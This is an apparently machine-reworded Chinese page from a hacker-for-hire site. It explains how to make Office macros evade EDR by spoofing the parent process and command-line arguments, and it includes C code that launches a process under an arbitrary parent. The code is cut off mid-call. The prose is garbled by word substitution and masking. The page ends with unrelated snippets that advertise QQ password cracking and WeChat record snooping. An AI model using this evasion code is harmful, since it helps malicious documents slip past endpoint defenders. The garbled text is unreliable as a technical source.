绕开EDR:结构Office宏欺骗父进程和命令行参数

访客4年前关于黑客接单821

一、情况

大部分当代EDR解决 *** 都应用个人行为检验的 *** ,容许依据其个人行为来检验恶意程序,而不是只是应用IoC(比如:文档hash值、网站域名)。在本文中,我得出了欺骗新进程的父进程和命令行参数这二种技术的VBA完成方式。该类完成容许制做更为隐秘的Office宏,并使宏形成的进程看上去好像由另一个程序流程(比如explorer.exe)建立的,并具备看起来良好的命令行参数。

必须表明的是,我并不是明确提出这种技术的创作者,这种技术是由Will Burgess、Didier Stevens和Casey Smith明确提出的。

更先,大家将解读在Visual Basic中完成的技术情况。我之一次听见这种內容,是在Wild West Hackin’ Fest 2018中听到了Will Burgess的演说以后。

1.1 父进程欺骗

当进程派生出子进程时,比如Sy *** on这类的EDR解决 *** 会纪录该实际操作,另外会纪录各种各样信息,比如:新创建的进程名字、hash值、可实行途径及其相关父进程的信息。这针对预制构件个人行为标准十分有协助,例如,“Microsoft Word始终不容易派生出powershell.exe”。依据我的工作经验,这种标准具备较低的多元性、较高的增加值,仅在非常少状况下能产生乱报。

事实上,在应用Windows当地API建立进程时,能够特定一切进程做为父亲进程。这并并不是一个新鲜事儿,因而我不想在文中中更为详尽地叙述。事实上,Didier Stevens早在十年前就读过有关这一方面的文章内容。下边是一个C 编码的实例供大伙儿参照,将应用随意进程做为父进程,派生出cmd.exe。

// 本编码根据

#include "pch.h"

#include

#include

#include

#include

int main(int argc, char **canttrustthis)

{

PROCESS_INFORMATION pi={ 0 };

STARTUPINFOEXA si={ 0 };

SIZE_T sizeToAllocate;

int parentPid=9524; // Could be found dynamically as well

// Get a handle on the parent process to use

HANDLE processHandle=OpenProcess(PROCESS_ALL_ACCESS, false, parentPid);

if (processHandle==NULL){

fprintf(stderr, "OpenProcess failed");

return 1;

}

// Initialize the process start attributes

InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);

// Allocate the size needed for the attribute list

si.lpAttributeList=(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);

// Set the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS option to specify the parent process to use

if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &processHandle, sizeof(HANDLE), NULL, NULL)){

fprintf(stderr, "UpdateProcThreadAttribute failed");

return 1;

}

si.StartupInfo.cb=sizeof(STARTUPINFOEXA);

printf("Creating process...

");

BOOL success=CreateProcessA(

NULL, // App name

"C:\\\\Windows\\\\system32\\\\calc.exe", // Command line

NULL, // Process attributes

NULL, // Thread attributes

true, // Inherits handles?

EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // Creation flags

NULL, // Env

"C:\\\\Windows\\\\system32", // Current dir

(LPSTARTUPINFOA) &si,

&pi

相关文章

小鹿的玫瑰花阅读理解(分享小鹿的玫瑰花的启示)

春天到了。小鹿在门前的花坛里,栽了一丛玫瑰。他常常去松土、浇水。玫瑰慢慢地抽出枝条,长出了嫩绿的叶子。 过了些日子,玫瑰枝头长出了许多花骨朵。小鹿和弟弟一起数了数,总共有三十二个,他们高兴极了。 花骨...

嘶哈麻辣烫生意好吗?生意好的加盟好品牌

嘶哈麻辣烫生意好吗?生意好的加盟好品牌

跟着糊口程度不绝的成长,人们的思想也在不绝的产生着变革,越来越多的人不肯坐在写字楼里办公,而是选择加盟创业,开一个属于本身的店肆。所以就使得市场的竞争越来越剧烈,随意选择一个好的、有前途的加盟品牌就是...

强制找回qq密码软件无需激活(强制找回密码)

强制找回qq密码软件无需激活(强制找回密码)

本文目录一览: 1、有没有软件可以直接找回QQ密码 2、万能找回qq密码软件 3、一键找回qq密码的软件免费这是新软件吗 4、免费找回qq密码软件? 有没有软件可以直接找回QQ密码 如果...

“教科书级别”的长投学堂社群:如何用14天触动用户,让转化率达到15%?

“教科书级别”的长投学堂社群:如何用14天触动用户,让转化率达到15%?

编辑导读:用户超300万,估值10亿,海内第一在线理财教诲机构长投学堂做对了什么?其运营模式有哪些可以值得警惕的?本文作者对长投学堂的“14天体验课”举办了拆解,从多个方面临其社群运营计策展开了阐明和...

找黑客如何查看微信记录,黑客破解收费网站

一、如何查看微信记录怎么找黑客 1、网站黑客大多数真正的黑客认为,黑客是懒惰和不负责任的。如何查看微信记录高仿装逼最好的方法是参加最近的Unix或Linux用户组参加他们的会议。找站接网单让我们自己去...

普通狗如何训练(普通宠物狗狗训练方法)

普通狗如何训练(普通宠物狗狗训练方法)

常见的九大狗狗训练技巧大全: 1、定点大小便训练 训练时间:饭后,喝水后 训练场地: 1)室内定点: ①在饭后或喝水后,把狗狗抱到指定的地方,直到狗狗解决后再抱出来 ②狗狗在其他地方尿...